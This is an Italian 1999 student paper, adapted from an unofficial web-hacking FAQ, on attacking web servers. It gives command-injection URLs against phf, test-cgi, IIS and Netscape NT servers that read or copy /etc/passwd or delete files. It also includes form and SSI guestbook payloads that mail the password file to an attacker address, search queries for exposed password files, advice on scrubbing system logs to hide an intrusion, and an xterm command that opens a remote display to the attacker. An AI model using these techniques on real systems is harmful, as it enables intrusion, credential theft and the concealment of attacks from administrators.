WWW hacking

Questo documento fa parte di un lavoro di ricerca che ho preparato assieme ai miei colleghi Raffaele Spangaro e Walter Vendraminetto per il corso di Reti di Calcolatori. Il contenuto è tratto principalmente da The Unofficial WWW Hack FAQ.

Come ho letto in molti documenti che ho consultato per la ricerca, queste informazioni possono essere utilizzate per imparare a difendersi da eventuali attacchi o per violare un sistema. Sta a voi la scelta.

In ogni caso ricordate che è possibile anche finire "in gattabuia". Uomo avvisato...

Attacco mediante URL

L'elenco telefonico phf

Il file phf è un esempio di script CGI che viene utilizzato per aggiornare una lista di numeri telefonici di persone. Per default molti siti hanno questo file nella loro /cgi-bin/ senza nemmeno saperlo.

Comunque sia, phf si comporta in maniera differente se si inserisce il caratteri di newline (0a) nella riga di query. Ecco un tipico attacco per un server Unix:

http://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=
http://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=
http://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd%0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=
http://thegnome.com/~someuser/passwd
http://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=
      

che permette di eseguire i seguenti comandi

id
ls -la ~someuser
cp /etc/passwd ~someuser/passwd
(normal URL access to get the passwd file)
rm ~someuser/passwd

Il file di test

Discorso analogo per il file incluso in molti server ed utilizzato per controllare che le variabili d'ambiente ed altre informazioni vengano passate correttamente al server durante l'interrogazione.

Assumendo che il file, come spesso accade, si chiami test-cgi, il comando da impartire è

http://thegnome.com/cgi-bin/test-cgi?\qualcosa

si ottiene come risposta qualcosa del tipo

CGI/1.0 test script report:

argc is 0. argv is .

SERVER_SOFTWARE = NCSA/1.4B
SERVER_NAME = thegnome.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.0
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT = text/plain, application/x-html, application/html, 
 text/html, text/x-html
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /cgi-bin/test-cgi
QUERY_STRING = whatever
REMOTE_HOST = fifth.column.gov
REMOTE_ADDR = 200.200.200.200
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =
      

Ancora una volta il carattere 0a può essere utilizzato per ottenere altre informazioni (utilizzare un asterisco per specificare "nulla"):

http://thegnome.com/cgi-bin/test-cgi?\help%0a/bin/cat%20/etc/passwd

Questi comandi dovrebbero permetterti di visualizzare il contenuto della directory /cgi-bin/:

http://thegnome.com/cgi-bin/test-cgi?* HTTP/1.0 http://thegnome.com/cgi-bin/test-cgi?x * http://thegnome.com/cgi-bin/nph-test-cgi?* HTTP/1.0 http://thegnome.com/cgi-bin/nph-test-cgi?x *

Il carattere ~

Il carattere ~ viene utilizzato per dal server per risolvere un URL come home directory di un utente. Ad esempio Apache su BSD sostituisce questo carattere con l'home directory ricavata dal file di password, ma altre piattaforme utilizzano lo stesso sistema.

Cosí, se il sistema non è ben configurato, è possibile accedere alle directory di alcuni utenti speciali

http://thegnome.com/~root
http://thegnome.com/~bin

Se qui troviamo qualche link al file delle password o a qualcosa di nostro interesse... il gioco è fatto!

Ancora piú semplice per "utenti" come daemon o uucp, perché questi, solitamente, hanno come home directory la radice /.

Compromettere le form

Praticamente ogni sito che si rispetti possiede nelle sue pagine un indirizzo e-mail da contattare per ottenere ulteriori informazioni o spedire commenti vari. Spesso capita anche che, per non dover modificare lo script CGI, il webmaster decida di inserire nelle sue pagine HTML istruzioni del tipo

<INPUT TYPE="hidden"
		NAME="HelpAddress"
		VALUE="help@thegnome.com">
      

per poter agevolmente cambiare l'indirizzo e-mail nel caso vada in vacanza o quant'altro.

Lo stesso webmaster avrà probabilmente scritto un paio di righe in C (ma anche il Perl andrebbe benissimo) che, senza alcun ulteriore controllo sull'input esegua delle istruzioni del tipo

sprintf(buffer, "/usr/lib/sendmail -t %s < %s", foo_address, input_file);
system(buffer);
      

Infatti, cliccando sul pulsante di Submit della form, è procedura tipica che il contenuto del messaggio da inviare sia salvato in un file temporaneo per poi essere letto e spedito con sendmail.

Il sistema è facilmente penetrabile modificando la pagina HTML contenente la form nel seguente modo

<INPUT TYPE="hidden"
	  NAME="HelpAddress"
	  VALUE="help@thegnome.com;cat /etc/passwd | mail thegnome@5th.column.gov">
      

Come si può notare il server eseguirà anche il comando che invia il file delle password ad un nostro recapito, il quale è opportuno non riveli la nostra identità.

Server-Side Include: il guestbook

L'SSI è un modo per implementare speciali operazioni e comandi in un documento HTML. L'applicazione tipica è il guestbook, il libro dei visitatori. Vediamo come sfruttare questo strumento di vanità.

L'idea è semplice:

  • l'hacker riempie la form del guestbook ed include un SSI;
  • attraverso un CGI la form è aggiunta al guestbook che, solitamente, è un file HTML;
  • la persona successiva che visualizza il guestbook attiva l'SSI.
  • Ecco come potrebbe apparire l'SSI

    <!--#exec cmd="mail me@my.org < cat /etc/passwd"-->
    <!--#exec cmd="chmod 777 ~ftp/incoming/uploaded_hack_script"-->
    <!--#exec cmd="~ftp/incoming/uploaded_hack_script"-->

    È possibile che l'SSI sia abilitato, ma che venga tolto dall'input della form. In questo caso, se il server possiede un directory /incoming accessibile sia in scrittura che in lettura, si può anche preparare un file HTML che contenga il codice SSI e caricarlo nella directory /incoming. Aprendo il file con il proprio browser, si attiverà lo script SSI.

    Alcuni trucchetti per altri server web

    Microsoft Internet Information Server

    L'installazione della versione 1.0 lascia il sistema piuttosto aperto. Assumendo /scripts come directory CGI e pfieffer.bat il nome di un file che non esiste in tale directory, se si impartisce il comando

    http://www.target.com/scripts/pfieffer.bat?&dir+c:\+?&time

    e si interrompe la richiesta di salvataggio del documento che il nostro browser ci proporrà, sarà possibile eseguire i comandi dir e c:\ senza che il nostro intervento vengaregistrato. Il comando time, infatti, non terminerà mai e la nostra rinuncia al salvataggio non registrerà la transazione.

    Un altro problema che presentava questo server era quello di chroot. Una semplice sessione telnet come

    telnet nt.thegnome.com 80 (assuming port 80 for httpd)
    GET ../..

    permetteva di recuperare qualsiasi file dal server.

    NT server della Netscape

    In questo caso il file che si utilizza nella linea di comando deve essere presente nella directory CGI. Ad esempio il comando

    http://www.target.com/cgi-bin/perl.exe?&-e+unlink+%3C*%3E

    cancellerà tutti i file della directory corrente, in quanto la Netscape raccomanda che l'eseguibile perl.exe sia presente nella directory CGI. Maligno, vero?

    WWW come strumento di battaglia di informazioni

    Motori di ricerca WWW

    Come abbiamo visto gli attacchi WWW servono principalmente al reperimento di informazioni sugli utenti che hanno accesso al sistema per assumere la loro identità ed ampliare le nostre possibilità di accesso.

    Tali informazioni sono a volte reperibile anche attraverso i motori di ricerca che utilizziamo abitualmente per le nostre ricerche. Ad esempio, immettendo la stringa seguente in Altavista

    url:etc AND link:passwd

    si possono ottenere dei risultati sorprendenti. I sistemi mal configurati, infatti, hanno libero accesso a tutti i loro file, compreso quello dell password. Se si riuscisse a penetrare uno di questi sistemi, avremmo garantita una certa anonimità per l'attacco al nostro vero obiettivo.

    Altre informazioni utili possono essere ricavate dal risultato delle interrogazioni seguenti:

    proprietary AND copyright AND confidential
    url:.htaccess
    url:.htpasswd

    Le password criptate possono essere dati in pasto ad uno dei numerosi programmi di cracking in circolazione, che tentano di decifrare la parola d'accesso basando la loro ricerca su un sottoinsieme significativo dell'univeso di chiavi possibili.

    USENET

    Un'altra importante fonte di informazioni è la rete USENET. Gli amministratori di sistema, infatti, si scambiano spesso messaggi sugli script che intendono realizzare. Esaminando i testi dei loro messaggi, ad esempio con DejaNews, è possibile venire a conoscenza del sistema operativo utilizzato, del linguaggio che implementa i CGI, il tipo di server di posta o quello FTP. Con queste notizie alla mano, un buon hacker ha già gli elementi sufficienti per cominciare a sferrare un attacco, soprattutto se il software utilizzato è già stato compromesso in qualche altra situazione.

    L'importante è non lasciare tracce

    Per riuscire a risalire all'autore di un attacco, gli amministratori di sistema hanno a disposizione diversi strumenti che permettono di tracciare i comandi impartiti alla macchina.

    crontab:
    questo è la principale fonte di logging. Stringhe come lsof, log, promisc, secure, tripwire e tw.db contenute nel file di crontab di root o in quello generale di sistema, possono rappresentare un tentativo di tracciamento. Anche il comando cmp può essere utilizzato per confrontare file particolarmente importanti che potrebbero essere stati compromessi.
    wtmp:
    questo file registra tutti i tentativi di accesso al sistema. Se siamo riusciti a penetrare, sicuramente c'è anche un campo per noi.
    /var/log e /var/adm:
    queste directory contengono i file di log piú comuni su sistemi Unix. A seconda del nostro attacco, è opportuno rovistare qui per cercare qualche file compromettente.
    syslog.conf:
    questo è il file di configurazione di syslogd. È opportuno dare un'occhiata anche qui per scoprire altri file di log inconsueti.

    Il metodo migliore per cancellare le proprie tracce è quello di preparare uno script che, sfruttando principalmente i comandi grep e cat, ripulisca i file dal contenuto indesiderato. Pre-requisiti indispensabili sono avere i permessi di lettura e scrittura a tali file e la conoscenza di quali file andare a ritoccare, per poter lasciare velocemente il sistema in caso di emergenza.

    Il gioiello

    Volete sapere qual'è il comando che vi potrebbe spalancare le porte del paradiso? Se state lavorando in un ambiente grafico, è sicuramente questo:

    xterm -display my.ip.address:0 &

    Avrete una comoda xterm dalla quale impartire tutti i comandi disponibili per l'account con il quale siete riusciti a penetrare. Meglio di cosí!!! Ricordatevi, però di cancellare le tracce del vostro IP!


    Lorenzo Cappelletti
    Last modified: Mon May 24 15:59:28 CEST 1999